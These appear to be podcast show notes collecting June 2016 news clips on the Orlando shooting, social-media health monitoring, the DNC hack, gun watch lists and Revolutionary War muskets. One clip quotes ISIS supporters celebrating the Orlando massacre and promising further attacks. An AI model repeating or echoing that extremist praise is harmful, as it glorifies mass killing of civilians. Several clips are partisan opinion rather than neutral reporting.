834: Toxic Masculinity

Adam Curry & John C. Dvorak

3h 20m
June 16th, 2016
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Executive Producers: Jeffery Coop-Sir Carlos Spicey Weiner, Sir Isaac-The White Knight of the Shocking Truth, Ethan Katz

Associate Executive Producers: Sir Mike Shoemaker,

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Elections 2016
Oppo file
The seventh strategy prong is to focus on Trump’s “personal life,” including that “Trump’s Ex-Wife Accused Him Of Rape,” which is true.
Orlando Pulse Shooting
We need a SSSS Jingle a la the ISIS song
Soon Your Doctor Will Check Your Tweets For Signs You're Depressed | Fast Company | Business + Innovation
Thu, 16 Jun 2016 13:41
"im rly depressed and im feeling insecure and its just so exhausting why is life like this."
"Feeling low but too lazy to get out of bed to check my BG [blood glucose]. I'll go back to sleep instead."
"I wouldn't say I'm suicidal. I don't want to die. I just really don't want to wake up anymore. . ."
I recently overheard people making remarks like these. But they weren't telling me because I'm a behavioral psychologist in the Department of Family Medicine at UCLA. They were telling the entire world on Twitter.
Social media, it turns out, is a new vital sign, and it's one that health providers are learning how to read.
Monitoring Tweets Alongside Blood PressurePsychologists and computer scientists can now read between the lines of social media to interpret and predict how people feel and what they'll do.People don't just use social media to talk about celebrity sightings or joke about why TSA agents take so long to search them. They're also using it to publicly tell the world about health issues that they often don't even tell their doctors. They'll share openly on Facebook and elsewhere about their feelings, their plans to do healthy things like exercise, and their intentions to do unhealthy things like use drugs.
Users post videos showing whether they're anxious and how fast their hearts are beating. They don't always share this information explicitly, but it can be inferred'--these days, with ever greater accuracy. Together, psychologists and computer scientists can now read between the lines of social media to interpret and predict how people feel and what they'll do. They can even tell from people's posts whether they're telling the truth, whether they're gay, and whether they're stressed out.
Health providers will soon be able to use social media as a powerful tool to monitor patients outside of healthcare settings. In the clinic, most health providers measure physiological vital signs like blood pressure and heart rate, but the best doctors also notice psychological vital signs, like observing whether a patient is anxious or sad, or reluctant to take medication.
The Real-Time EdgeBut how do health providers observe patients when they can't see them? Smartwatches and self-monitoring devices can track vital signs like heart rate and blood pressure, but they don't monitor psychological vital signs. If health providers could detect when their patients were sad, or why they were reluctant to take medications, for example, they could provide real-time interventions to improve health care. That's where social media comes in.
Take depression, the world's top cause of disability. It affects approximately 8% of Americans every year, costs the U.S. health care system approximately $200 billion annually, and leads to other negative health outcomes like reduced medication adherence and suicide. Although real-time monitoring of depression could save money and lives, it has been virtually impossible to track depression outcomes when patients are outside of a clinic. Until now.
Teams of psychologists and computer scientists are working together to analyze the words and images that people organically share on social media sites like Twitter, Facebook, and Instagram. They're developing technologies that learn to think like a large team of psychologists. Working side-by-side with psychologists and public health experts, these machines can quickly learn to identify psychological patterns from millions of social media texts and images and use that information to predict people's emotions and behaviors. The tools incorporate advanced computer science approaches like "sentiment analysis indicators," and "behavioral insights on big data."
For example, in our research, we've used these methods to learn to monitor stress, anxiety, and depression levels among UCLA students, and have even been able to intervene and provide psychological services to a student we found expressing suicidal intentions. Health systems will be able to use social media data to monitor and predict a broad range of health issues, like diabetes self-management and medication adherence, and public health departments can use them to predict and address regional trends, like planning the number of vaccinations needed for an upcoming flu season.
Upsides And Obstacles To Putting Social Data To UseThe practical implications of this approach are clear, actionable, and stand to significantly improve health care. Apps and health monitoring tools that incorporate social media vital signs will soon be available for health systems nationwide. Armed with them, health providers will be able to gain real-time knowledge of when patients show unhealthy psychological behavior.
They'll be able to know whether patients are experiencing prolonged sadness and when they're not taking medications. They'll be able to use this information to diagnose clinical disorders and request patients to come for follow-up appointments. If health providers receive an alert that a patient's social media posts suggest she's self-medicating her depression, for instance, they could immediately contact her and intervene.
Whether we use social media as a vital sign shouldn't be based on whether it's convenient for health providers; it should be based on whether it improves patient health.Implementing these tools won't require additional time from doctors, but we will need to rethink our current medical approach, as few health systems are equipped to deal with remote patient monitoring. That leaves to big questions unanswered: First, will doctors want to have access to more information about their patients? And second, will they be required to act on it? Today, when doctors receive information about patients' vital signs, they have a medical responsibility to respond based on that information if need be. If health providers would be required to act on social media vital-sign information, then some might prefer to not receive it at all.
But the answer to whether we use social media as a vital sign shouldn't be based on whether it's convenient for health providers; it should be based on whether it improves patient health. If social media is as valuable a resource as research is suggesting, then we need to start talking about how to restructure our health systems to incorporate this new approach.
Tools for analyzing social data are already successfully being used in other fields like consumer behavior, education, and crime prediction. Incorporating social media as a medical vital sign is an investment in the future well-being of our society. Big Brotherish as it might sound, studies nevertheless show that patients will willingly share this publicly available information with the world if it can be used to improve their health.
What's more, we won't need expensive infrastructure to implement this approach. A growing number of tools like Google's Deep Mind and IBM's Watson are already being applied to health care and will soon be ready for wide-scale use by medical professionals. It's time that health care providers and health technologists start discussing how to incorporate social media into clinical care. Our lives depend on it.
Sean Young, PhD, is a UCLA medical school professor in the Department of Family Medicine and the executive director of the University of California Institute for Prediction Technology (UCIPT).
Rioolwater verklapt nu ook het drugsgebruik in kleinere gemeenten | Binnenland | de Volkskrant
Thu, 16 Jun 2016 06:11
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Rusland kondigt wapenstilstand van twee dagen aan in Aleppo | Buitenland | de Volkskrant
Thu, 16 Jun 2016 06:06
Cookiewall: Cookies op de Volkskrant | de VolkskrantVolkskrant.nl gebruikt cookies om u een optimale gebruikerservaring te bieden
Ja, ik accepteer cookiesVolkskrant.nl gebruikt cookies en vergelijkbare technologien (cookies) onder andere om u een optimale gebruikerservaring te bieden. Ook kunnen we hierdoor het gedrag van bezoekers vastleggen en analyseren en daardoor onze website verbeteren. Cookies van onszelf en van derden kunnen worden gebruikt om advertenties te tonen en artikelen aan te bevelen op volkskrant.nl die aansluiten op uw interesses. Ook derden kunnen uw internetgedrag volgen. Cookies kunnen gebruikt worden om op sites van derden relevante advertenties te tonen. Cookies van derde partijen maken daarnaast mogelijk dat u informatie kunt delen via social media zoals Twitter en Facebook. Meer informatie hierover vindt u in ons cookie-statement.
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The Trump effect: Cable news viewership and profits surge in 2015 - The Washington Post
Thu, 16 Jun 2016 05:29
Back in 2012, Jack Shafer, then a media critic with Reuters, wrote, ''The cable news audience has peaked.'' Thanks to the Internet and other factors, wrote Shafer, audience for the main cable outlets '-- CNN, Fox News, MSNBC '-- had started dipping. ''Bill O'Reilly? Peaked. Chris Matthews? Peaked. Anderson Cooper? Peaked. Democratic Party outrage over what Fox News said about the president? Peaked.''
If ever there was a phenomenon that could shatter Shafer's predictions, it was Donald Trump's presidential campaign '-- the one-man ratings machine that boosted audiences for a string of Republican presidential debates on cable TV outlets last year, not to mention an untold number of interviews, both on the phone and in person.
Alas, Trump couldn't move the needle quite enough: Though both prime-time and daytime cable audience numbers ticked up in 2015 '-- a big deal in its own right '-- they couldn't eclipse the peak viewership of several years ago. The prime-time viewership for the three main cable news networks improved in 2015 to an average of 3.1 million, from a 2014 average of 2.8 million, according to the just-released and always-much-discussed Pew Research Center State of the News Media report. That's still down from the 2008 number of 4.2 million. The corresponding figures for daytime viewership climbed from 1.8 million in 2014 to nearly 2 million in 2015 '-- again, shy of the 2009 mark of 2.2 million.
Pew assesses that the upticks resulted ''in part'' from interest in the 2016 campaign.
Whatever you do, don't despair over cable news' difficulties in growing its television audience. As the Pew report makes clear (again), it's a highly profitable racket. All three major cable news networks were projected to have secured double-digit profit boosts in 2015 '-- with Fox News moving to $1.5 billion (up 21 percent), CNN to $381 million (up 17 percent) and MSNBC to $227 million (up 10 percent).
Check back here in exactly a year for the 2016 results, which could well be even better. Cable news networks, after all, will have had an entire year of Trumpalooza, as opposed to just six months in 2015.
This election cycle has been taken over by peak punditry. Here's a collection of what they've said about Donald Trump, Hillary Clinton and Bernie Sanders. (Nicki DeMarco/The Washington Post)
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Erik Wemple writes the Erik Wemple blog, where he reports and opines on media organizations of all sorts.
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EXCLUSIVE - Islamic State Supporters: Our Fighters 'Gearing Up For More Blessed Attacks'
Thu, 16 Jun 2016 05:22
TEL AVIV '' Breitbart Jerusalem has gained insider access to an encrypted forum for Islamic State fighters and supporters, obtaining messages celebrating Sunday's Orlando terrorist massacre while warning of a new wave of attacks against the West.The users of the private forum on the Telegraph encrypted message service consist of known IS leaders, lower and mid-level IS fighters, IS supporters, and propagandists. Some members utilize their own names, while others use screen names. The forum serves as a Twitter of sorts for IS and its supporters.
''Congratulations to our brother Omar Mateen, to our brother Abdulla Alarussi, to everybody who will follow in their jihadi footsteps for Allah's sake,'' Almuhajer wrote. ''In Allah's name, these attacks will have many followers. Allah's enemies have a lot of bad news to wait for. Victory is near.''
The user who goes by the name of the Voice of Gunshot wrote: ''Our brothers, our beloved. What the enemies of Allah saw is just the tip of the iceberg. Pray for your brothers to get Allah's help. They are gearing up for more blessed attacks. Good news is coming, brothers, it will shake the country of the donkey Obama, it will unsettle the governments of the infidel countries. They have to wait for our brothers and for their plans.''
Loyalist of Death wrote: ''I promise you, my brave mujahedeen, that very soon you'll hear wonderful news that will deliver a terrible blow to your enemies.''
''Allah, bless our brethren,'' Fire of War wrote. ''They weren't lazy and came out of the enemy states to attack them. And soon enough we'll see more good news, inshallah. Many zealous brothers are waiting [to strike]'... wait for the news. We promise big news that will unsettle the infidel countries, inshallah.''
''Allah bless you. Allah bless your jihad. Allah bless your work,'' Abu Usama Alanssari wrote. ''We attacked them in their country. Look at the infidel states go into mourning. Look at Paris again, and soon enough more infidel states will mourn their dead. I swear to Allah, we will not stop, we will not get tired until we punish you and your leaders, our soldiers are capable of that despite what you do.''
''Thank Allah for giving our mujahideen brothers this honor to succeed in these blessed attacks. They [the infidels] will never feel safe, and the allies of the conquerors will regret what they've done,'' Ikab wrote. ''Thank you very much, Allah, these attacks will unsettle the governments in all the infidel countries.''
The pro-IS news agency Nasher used the network to publish pictures of what it said were Afghani children ''celebrating the attacks in America and France.''
Aaron Klein is Breitbart's Jerusalem bureau chief and senior investigative reporter. He is a New York Times bestselling author and hosts the popular weekend talk radio program, ''Aaron Klein Investigative Radio.'' Follow him on Twitter @AaronKleinShow. Follow him on Facebook.
U.S. plans tighter security to counter threat of 'homegrown violent extremists' - LA Times
Thu, 16 Jun 2016 05:21
Travelers, sports fans and concertgoers may see more police and tighter security screening at airports and events this summer in the wake of Sunday night's mass shooting in Orlando, Fla., according to a Department of Homeland Security bulletin issued Wednesday.
While no intelligence indicates a ''specific and credible'' threat of an impending terrorist plot, the bulletin cites the shooting at an Orlando nightclub, as well as recent attacks at a county building in San Bernardino, at an airport and subway in Brussels, and at restaurants and a concert all in Paris as examples of terrorists targeting of crowded public spaces.
''In this environment, we are particularly concerned about homegrown violent extremists who could strike with little or no notice. The tragic events of Orlando several days ago reinforce this,'' the bulletin states.
The wording of the one-page advisory, called a National Terrorism Advisory System Bulletin, is similar to a notice issued in December under a revamped terrorism alert system that replaced the widely mocked color-coded threat alerts. Last year's notice was set to expire on Thursday.
The new bulletin urged Americans to continue to travel and attend public events but to be vigilant and report suspicious activity to police.
''Make a mental note of emergency exits and locations of the nearest security personnel,'' it says. It also recommends that Americans carry a list of emergency contacts and keep cellphones in their pockets instead of in bags, so they aren't lost during a violent incident.
Why Most Gay Men Still Aren't Allowed to Donate Blood | WIRED
Thu, 16 Jun 2016 05:06
Skip Article Header. Skip to: Start of Article.Getty ImagesLast night, a gunman killed at least 50 people in a gay nightclub in Orlando and wounded dozens more. As volunteers this morning lined up to donate blood for the victims, one of the Food and Drug Administration's most controversial policies came into focus: Men who have had sex with other men in the past year are not allowed to give blood.
The FDA first put a complete ban on blood donations from men who have ever had sex with men in 1983, during the early days of the AIDS epidemic. Scientists knew little about the new virus, and fear was running high. But as testing for HIV become routine, even the medical community began rallying for an overhaul. In December 2015, the FDA revised its recommendations'--allowing gay men to donate blood'--but only if they have been abstinent for the past 12 months.
The rationale for the one year abstinence period, according to the FDA, is that tests do not pick up recent infections. A standard test that looks for an immune response to HIV can find infections after about a 25 day window. As critics have pointed out, these revised recommendations would rule out gay men in monogamous relationships'--but still allow heterosexual men or women who have had multiple sexual partners in the past year to donate blood.
The FDA's current policy puts the US in line with other countries like Great Britain and Australia. But elsewhere, like in Italy, blood banks have moved from a blanket ban on men who have sex with men to ''individual sexual risk assessment.'' Basically, it's a questionnaire that asks for the donor's history with unprotected sex. Since Italy switched to individual risk assessments to screen blood donors in 2001, the country has not had any major uptick in HIV infections.
Donating blood in the US also requires a long questionnaire that probes travel history, recent medical procedures, piercings, and tattoos. Checking yes on any of these can get you turned away for a year or three or sometimes permanently. From the FDA's perspective, the agency wants to play it very, very safe, and it's not like blood banks'--even ones in Orlando now'--are hurting for volunteers now. But its policy sends a message: a discriminatory one.
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US backed rebels declare neutrality with the Syrian Arab Army
Thu, 16 Jun 2016 02:59
The chief spokesperson for of the U.S. backed ''Syrian Democratic Forces'' (SDF), Talal Silou, said during a televised interview over the weekend that his rebel group has a neutral stance in regards to the Syrian Arab Army (SAA).
Silou stated that the Syrian Democratic Forces do not coordinate with the Syrian Arab Army; however, they have a neutral stance towards them and the Syrian government.
Furthermore, the chief spokesperson for the SDF added that there is no race to the provincial capital of the Al-Raqqa Governorate.
''If the regime forces want to liberate Raqqa and its people from terrorists, they are most welcome.''
Silou's interview on Sunday marked the first time that the Syrian Democratic Forces have publicly discussed their stance when it comes to the Syrian Arab Army.
The Syrian Democratic Forces have never been involved in a violent confrontation with the Syrian Arab Army; however, this is likely due to their relationship with Russia.
Paris attack victim's family sues Google, Facebook and Twitter - NY Daily News
Thu, 16 Jun 2016 02:35
NEW YORK '-- The father of a young woman killed in the Paris massacre last November is suing Google, Facebook and Twitter, claiming that the companies provided ''material support'' to extremists in violation of the law.
Reynaldo Gonzalez, whose daughter Nohemi was among 130 people killed in the Paris attacks, filed the suit on Tuesday in the U.S. District Court in the Northern District of California. The suit claims the companies ''knowingly permitted'' the Islamic State group, referred to in the complaint as ''ISIS,'' to recruit members, raise money and spread ''extremist propaganda'' via their social-media services.
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Chaos erupts as Paris comes under attackIn statements, Facebook and Twitter said the lawsuit is without merit, and all three companies cited their policies against extremist material. Twitter, for instance, said that it has ''teams around the world actively investigating reports of rule violations, identifying violating conduct, and working with law enforcement entities when appropriate.''
Tech giants agree to help EU combat online hate speech
Facebook's statement read, in part, that if the company sees ''evidence of a threat of imminent harm or a terror attack, we reach out to law enforcement.''
Google, meanwhile, said it won't comment on pending litigation, but noted that that it has ''clear policies prohibiting terrorist recruitment and content intending to incite violence and quickly remove videos violating these policies when flagged by our users.''
Forensic experts believe explosion caused EgyptAir crash
Under U.S. law, internet companies are generally exempt from liability for the material users post on their networks. Section 230 of the 1996 Communications Decency Act provides a legal ''safe harbor'' for companies like Twitter and Facebook; it states that ''no provider or user of an interactive computer service shall be treated as the publisher or speaker of any information provided by another information content provider.''
But it isn't clear if that legal defense will suffice in this case. Ari Kresch, a lawyer with 1-800-LAW-FIRM who is part of the Gonzalez legal team, said in an email that the lawsuit targets social media companies because of the behavior they enabled, not what they published.
French police couple killed in stabbing attack near Paris
''This complaint is not about what ISIS's messages say,'' he wrote. ''It is about Google, Twitter, and Facebook allowing ISIS to use their social media networks for recruitment and operations.'' The complaint also alleges that Google's YouTube shared revenue with IS from ads that ran with its videos.
Benjamin Wittes, a senior fellow at the Brookings Institution, agrees that the legal ''safe harbor'' might not shelter social-media companies in such cases. Twitter may not succeed in quashing a similar lawsuit '-- filed in January by the widow of a U.S. man killed in an attack in Jordan '-- on those grounds, Wittes argues. But he said Twitter could still prevail because the causal link between its alleged support for extremists and the attack is very weak.
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A better approach to banning guns from those on the Terror Watch List | Washington Examiner
Thu, 16 Jun 2016 02:34
Another terror attack occurred on American soil this past week, and because the perpetrator used guns instead of bombs, the Left has been able to hijack a needed debate about terrorism and turn it into one about gun control.
In the wake of the attack, presumptive Democratic presidential nominee Hillary Clinton called for removing the constitutional rights of American citizens who have been placed on the Terror Watch List.
"If the FBI is watching you for suspected terrorist links, you shouldn't be able to just go buy a gun," Clinton said on Monday. (Perhaps that logic should be extended '-- if the FBI is investigating you for mishandling classified state secrets, you shouldn't be able to just go run for president.)
Presumptive Republican presidential nominee Donald Trump also seemed open to the idea of disallowing those on the list to buy guns, tweeting Wednesday that he was meeting with the National Rifle Association (which endorsed him, he reminded) about the issue.
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And Sen. Chris Murphy, D-Conn., has started a filibuster on the Senate floor demanding legislation that would ensure those on the watch list are automatically denied a constitutional right without due process.
In essence, the Left seems to think they are creating some kind of Department of Precrime, wherein they can predict who will actually commit a crime and preemptively ban them from obtaining a gun without any judicial process or appeal. (Without a gun, they couldn't possibly harm other people, right?)
In reality, the proposal denies due process to thousands of American citizens (it's estimated that about 1 million people are on the list), many of whom are either wrongly on the list or are treated as if they are on the list because they have the same name as someone on the list.
Secret lists kept by bureaucrats have serious drawbacks. For example, The Weekly Standard's Stephen Hayes was apparently added to the terrorist watch list in 2014 for the crime of taking an overseas cruise. Thousands more Americans are added to the list for no better reason.
In another famous example, former Sen. Ted Kennedy faced airport delays not because he was on the "no-fly" list (as he suspected and as the myth goes), but because he shared a name with someone on the list, it was as if he were on the list himself.
Also from the Washington Examiner
"It was an opportunity for us to prepare as we move into election year and re-certify some of our officers."
'06/15/16 10:19 PM
This is part of the reason why the American Civil Liberties Union opposes banning those on watch lists from purchasing weapons, stating that "the standards for inclusion on the no-fly list [which is much smaller than the terrorist watch list] are unconstitutionally vague, and innocent people are blacklisted without a fair process to correct government error."
The Left believes the government should be able to determine who gets to exercise their constitutional rights based on an opaque decision process that requires no due process and affords no meaningful recourse for those added in error.
A better solution was voted down last December by Democrats. A bill drafted by Sen. John Cornyn, R-Tex., would establish "probable cause" as the standard for stopping a gun purchase by someone on such a list. "Probable cause" is a pretty low bar, the standard used by authorities when they obtain a warrant for the arrest of a suspect.
This Republican-backed proposal would have delayed the sale of a firearm to someone on the list for up to 72 hours, during which time the government would have to come up with "probable cause" that the purchaser was plotting to commit terrorism.
The NRA has supported this approach for years. In a statement released Wednesday, the NRA clarified its position on the issue ahead of its meeting with Trump.
Also from the Washington Examiner
"A lot of people are supporting me that you wouldn't think necessarily would be."
'06/15/16 9:59 PM
"Anyone on a terror watchlist who tries to buy a gun should be thoroughly investigated by the FBI and the sale delayed while the investigation is ongoing. If an investigation uncovers evidence of terrorist activity or involvement, the government should be allowed to immediately go to court, block the sale, and arrest the terrorist," the NRA wrote.
"At the same time, due process protections should be put in place that allow law-abiding Americans who are wrongly put on a watchlist to be removed."
The Left is lying about the terrorist watch list, presenting it as though the people on it have already been tried and convicted of terrorism. They have received no due process yet are still being denied their rights. As the ACLU and others have argued, the list needs to be fixed before we can even begin talking about banning people on it from anything.
Ashe Schow is a commentary writer for the Washington Examiner.
Top Story
Biden said he and others like the families of the Sandy Hook victims "refuse to give up."
'06/15/16 9:22 PM
Lone wolf claims responsibility for DNC hack, dumps purported Trump smear file | Ars Technica
Thu, 16 Jun 2016 01:40
In an intriguing follow-up to Tuesday's report that Russian hackers gained access to Democratic National Committee servers, an anonymous blogger has claimed he alone was responsible for the breach and backed up the claim by publishing what purport to be authentic DNC documents taken during the online heist.
Further ReadingIn a blog post published Wednesday, someone with the handle Guccifer 2.0 published hundreds of pages of documents that the author claimed were taken during a lone-wolf hack of the DNC servers. One 231-page document purports to be opposition research into Donald Trump, the presumptive Republican nominee. Other files purport to be spreadsheets that included the names and dollar amounts of large DNC donors. Yet another document purportedly came from the computer of presumptive Democratic nominee Hillary Clinton while she was secretary of state."Worldwide known cyber security company CrowdStrike announced that the Democratic National Committee (DNC) servers had been hacked by 'sophisticated hacker groups," Wednesday's blog post stated. "I'm very pleased the company appreciated my skills so highly))) But in fact, it was easy, very easy."
The documents are either authentic copies of the files they purport to be, or they're elaborate hoaxes that required time and skill and were rushed out less than 24 hours after Tuesday's report of the DNC hack.
"They all seem reasonable," Rob Graham, a researcher and CEO of security firm Errata Security, told Ars of the documents he has examined so far. "If they are fake, someone has done a lot of research. They would have to be a really smart hoaxer."
If the documents are authentic, they would appear to contradict the claim by CrowdStrike, the security firm the DNC brought in to investigate suspicions its servers had been hacked, that the attackers didn't access financial or donor information. They would also cast doubt on other aspects of the report. For instance, they would suggest that either CrowdStrike misattributed the breach to the wrong groups, or failed to detect that one or more additional actors had also gained high-level access and made off with a trove a confidential information.
"It's certainly possible that CrowdStrike could have misattributed one or both of these attacks," said Justin Harvey, chief security officer of Fidelis Cybersecurity, a firm that competes with CrowdStrike in investigating large-scale hacking operations. "Without forensic evidence, it's really difficult to drive down to the truth of this attack."
At this point, there's no way to rule out that the documents are fakes. There's also no way to rule out that they're authentic files that were leaked by either by a DNC insider or by one of the hacking groups named by CrowdStrike in an attempt to sow doubt or confusion after their cover was blown. For its part, CrowdStrike is standing by its findings. In a statement, company officials wrote:
CrowdStrike stands fully by its analysis and findings identifying two separate Russian intelligence-affiliated adversaries present in the DNC network in May 2016. On June 15, 2016 a blog post to a WordPress site authored by an individual using the moniker Guccifer 2.0 claiming credit for breaching the Democratic National Committee. This blog post presents documents alleged to have originated from the DNC. Whether or not this posting is part of a Russian Intelligence disinformation campaign, we are exploring the documents¹ authenticity and origin. Regardless, these claims do nothing to lessen our findings relating to the Russian government¹s involvement, portions of which we have documented for the public and the greater security community.
Guccifer 2.0 is an allusion to the Romanian man who in 2013 shattered the privacy of the family for former presidents George H. W. Bush and George W. Bush after breaking into private e-mail accounts that contained personal communications and pictures. Guccifer also exposed e-mails sent to former Secretary of State Colin Powell, a former member of the US joint chiefs of staff, and a former presidential advisor. A cab driver whose real name is Marcel Lehel, Guccifer is now in US custody and faces federal charges.
The incidents over the past 24 hours are a powerful reminder of the perils of using incomplete or circumstantial evidence to attribute breaches to specific groups or individuals. It's possible that hacking tools known to belong to a group can be stolen or otherwise appropriated, and that IP addresses and other signs of origin can be faked by attackers attempting to cover their tracks. Ars should have included this oft-repeated disclaimer in Tuesday's report, but didn't. Ars also should have made clear that given the potentially high value of information stored by major presidential candidates, it would be surprising if the DNC, its Republican counterpart, and both major candidates weren't regularly targeted and on occasion successfully breached by hackers motivated by political espionage, financial gain, or both.
In the spirit of those disclaimers, a reminder that it's far too early to say anything definitive about the new documents that have come forward other than to say they're worth close scrutiny for clues about exactly who has hacked the DNC and how they did it. Until then, people should resist the urge to jump to unfounded conclusions.
Listing image by Wikimedia
Revolutionary War Weapons
Thu, 16 Jun 2016 01:36
American colonists were barely 12 years removed from the French and Indian wars (1754-1763), but close enough to a new conflict to begin thinking about the necessity for building a store of weapons. Those who served in militias in that earlier war had furnished their own weapons. The guns would have been muskets, fowling pieces or no weapon at all. They brought and carried their own provisions. Although the musket would be carried over to the new war, some weapons had seen its zenith in the old conflict. The matchlock musket was obsolete by 1775, but still retained by some families as a useful, but cumbersome to fire, weapon.
British military had always been a security blanket in the colonials' lives. However, at the conclusion of the French and Indian war, most of the "red coats" were redeployed to England. The American colonists were on their own except for pockets of British troops clustered in urban areas, and in a few scattered outposts on the western frontier.
The colonists were aware that North America still held the potential for danger. The frontier and the Indian populations were only several days ride from coastal towns.The existence of militia for self defense was an answer to potential danger.
The colonials had a history of self help. Going back to the Jamestown settlement and Puritan Plymouth, they organized supervised military training to meet threats. Captains James Smith and Myles Standish were paid to impart their military experience to the settlers. As early as 1607, Jamestown settlers were receiving military instruction.
"And how weary soever your soldiers be, let them never trust the country people with the carriage of their weapons; for if they run from you with your shott,(sic) which they only fear, they will easily kill them all with their arrows. And whensoever any of yours shoots before them, be sure they may be chosen out of your best marksmen; for if they see your learners miss what they aim at, they will think the weapon not so terrible, and thereby will be bould (sic) to assault you".
Why the need for a militia? Population in early colonial times was sparse and society could ill afford the loss of manpower that would be required to maintain a standing army. These lessons were ingrained in the colonial psyche, and thus an easy transition to the militia system fully dependent on the full time farmer, artisan or tradesman.
In 1775, the colonies were a politically mature society, capable of local self government, and according to one historian, actually had ''de facto independence''. The weight of repressive taxes would challenge that assumption, and then conflict with the British appeared possible. They understood their vulnerability, and their first line of defense was the militia.
Local governments maintained limited arsenals and powder supplies to support their militias that were trending more to voluntary membership than to proscribed conscription. The militia companies were known as trainbands. They would be the first to taste war, and that war was increasingly imminent. It was their local supply of gun powder that prompted the British march on Lexington and Concord in their search and destroy mission to uncover militia military supplies.
At the outset of the war, British armed presence in the colonies was negligible. Their strength lie in a very few population centers and in a few remote outposts. Nevertheless, colonists were aware that reinforcement from England could be anticipated, and with them would come their trove of potential weapons to tempt their rebellious appetites.
The new colonial Continental Congress was navigating in strange waters that even confounded more mature nations.
Assembling men, material and weapons were critical issues on a large scale particularly for a national rebellion.
An initial requirement was missing in their army chain of command. There was no training in supply logistics.
There was no quartermaster corps. Learning on the fly during a hot war was a serious drawback. Field officers, with more immediate problems, were ordered to handle the supply of ordnance.
By1776, replacing arms and materials sustained in the colonials Northern Department were an overwhelming pressure on poorly trained supply officers.
The Continental Congress quickly recognized the problem of supply and the shortages of arms. They appointed committees to survey their troops to obtain feedback and identify bottle necks. Their Secret Committee had been operating for almost two years prior to the armed conflict and struggled to solve the problems inherent in the supply chain. Their mission also extended to foreign aid deemed necessary to solve the supply problem. The new government was experiencing a severe credit crunch.
The Congressional investigation concluded that their nascent efforts had been almost totally ineffective. In 1777, they proceeded to establish a Commerce Department to procure supplies and seek foreign aid. Effectively, they created the first governmental department with executive authority.
In addition to grappling with the logistics of assembling supplies and weapons, they faced the problem of delivery. They had to overcome a primitive road system that barely supported a single horse and cart. People rarely traveled, and roads often corresponded with old Indian trails that were barely improved.
The method of arms production had changed little. Small groups of craftsmen were the sole source of domestic supply. Foundries were small and production of metals was limited. War with the British further complicated shortages. Muskets, gun powder and cannon were in short supply.
The congress acted again and appointed a Cannon Committee to increase supply. There was a growing evolution on the part of government--- part of an upward learning curve------to meet the exigencies of an expanding war. Their next move was the establishment of the War Board with broad authority over accounts, ordnance and supplies. Fourteen months later the Board was abolished in favor of the new authority vested in the government by the Articles of Confederation in 1777. As a result, a War Office was formed that granted the new government the power to regulate war. However, the colonies jealously guarded their rights of home rule and the Articles reflected this mind set. The new Articles established a central authority without powers of enforcement. The document was not even fully ratified until 1781, and became an afterthought in the wake of the Constitution.
Most of the heavy armament used in European wars was inappropriate for the rough terrain in the colonies. The great cavalry charges, so much a part of European warfare, could not be utilized in the heavily forested regions. Light cavalry was limited to screening or reconnaissance. The dragoon was the hybrid that combined fighting on horseback and on the ground and increased the significance of infantry. The American dragoon, like his European counterpart, wielded a saber and carried a shortened musket.
It fell to the infantry, the foot soldier, as the instrument that fostered the means for increasing the kill rate.Thus equipping this soldier with the best technology available was essential for both armies.
The tool of choice to raise the death rate was the newer flintlock musket that had replaced the older matchlock musket. "Newer" compared to the matchlock, but had seen service for over 100 years and would, in turn, become obsolete by the mid 1800's when it was replaced by the technology of percussion.
The flintlock was the first line of offense or defense in the arsenal of revolutionary war weapons. Both armies depended on this weapon. The British relied heavily on their ''Brown Bess'' which often found its way into American hands. Its lack of accuracy was minimized by its mass utilization in line formations firing simultaneous, rotating volleys. That same line could present a wall of bayonets, attached to the gun barrel, and on the order to charge, moved forward against a wall of opposing fire. Survival was purely a matter of luck.
Later in the war, the Americans utilized the French Charleville musket. Probably no more accurate than the British weapon, but more accessible when supplied by their French ally.
The weapon was loaded through the muzzle---front loaded. The metal ball, 2/4 inch in diameter, weighed about 1 ounce, and was contained in a paper cartridge. The powder was stored in a horn shaped object. When the ball struck the human body at a high velocity it tore a large hole in the victim.
The older matchlock would misfire in half of its shots. The flintlock was no great improvement in accuracy, but its newer technology considerably reduced the misfires. Loading speed could determine life or death. The flint lock musket could be loaded in 30 seconds by scraping flint against steel. The flint was imbedded in the hammer, and when depressed, created the spark that set off the gun powder that ejected the ball-- primitively comparable to the discharge of the modern bullet. The older, matchlock alternative required lighting a match to ignite the priming powder. This took two minutes---and possibly not at all in the rain. Note the flint suspended in the hammer below.
Herein lies the military rationale for the lineformations that is referred to through out this Revolutionary War review. Battles in the 18th century took place on open plains. The brave, or not so brave, souls faced each others like gladiators across the field. Their muskets had minimal accuracy up to 100 yards. The time that was required to load meant that, at best, each shooter could fire 3 times without a fixed target other than shooting generally at a charging line of fixed bayonets.
Because of the loading time factor, the shooters would be overwhelmed by a hard charging enemy line before another reload could be accomplished. Thus, the solution required 2 lines of rotating shooters.
The front line would fire on bent knees. The line of soldiers behind would stand upright ready and loaded to fire, without any delay created by the kneeling soldiers preparing to reload their muskets.
This required pouring the gun powder into the barrel; then inserting the ball in its paper cartridge into the muzzle and employing a ramrod to push the load down the barrel.
In short, revolutionary war weapons and their employment were quite primitive when measured against later centuries, but an evident advancement in fire power over the prior fifty years.
The drill manual used by the British emphasizing the line techniques had been used by the Americans. This changed when the Prussian von Steuben arrived at George Washington's headquarters. He brought new ideas to accomplish the same result and also brought to the common soldier an understanding of the strategies utilized in battle. While both methods aimed at inculcating instantaneous discipline, the British methodology was delivered through harsh, unrelenting instruction. Mistakes in drill would subject their soldiers to flogging. That was all but eliminated under the Steuben tutelage. Additionally, he adjusted the line drill to accommodate battles in woodlands. As the war progressed, this approach paid military dividends both for offensive and defensive actions.
Additional domestic sources were required to build their stock of weapons. Necessity and a ready buyer provided a path. The number of manufacturing locations expanded. A premier flintlock with a smooth bore was produced in Pennsylvania initially by German settlers who were hereditary gunsmiths. They came to the colonies from the old country with skills that had produced the Jaeger (hunter) rifle with its rifled or tooled bore, and consequently greater accuracy. Later the tooled bore musket was incongruously called the Kentucky long rifle.
The 200 yard accuracy of the tooled bore rifle was a huge departure from the traditional flintlock. Newer technology produced a longer barrel that burned the powder more efficiently and increased the velocity of the projectile. The more efficient use of the powder was most important to an army whose munitions were always in short supply.
The ''Kentucky'', however great that it was on the frontier, did not pass muster on the open battlefield. It took more than twice as long to load than the traditional flintlock, and was not equipped with a bayonet. This accurate weapon was restricted to small companies, and not utilized by the line formations in which opposing forces faced off across an open space. When this rifle was employed by snipers from behind walls or trees, it had deadly effect in picking off British officers behind their own lines.
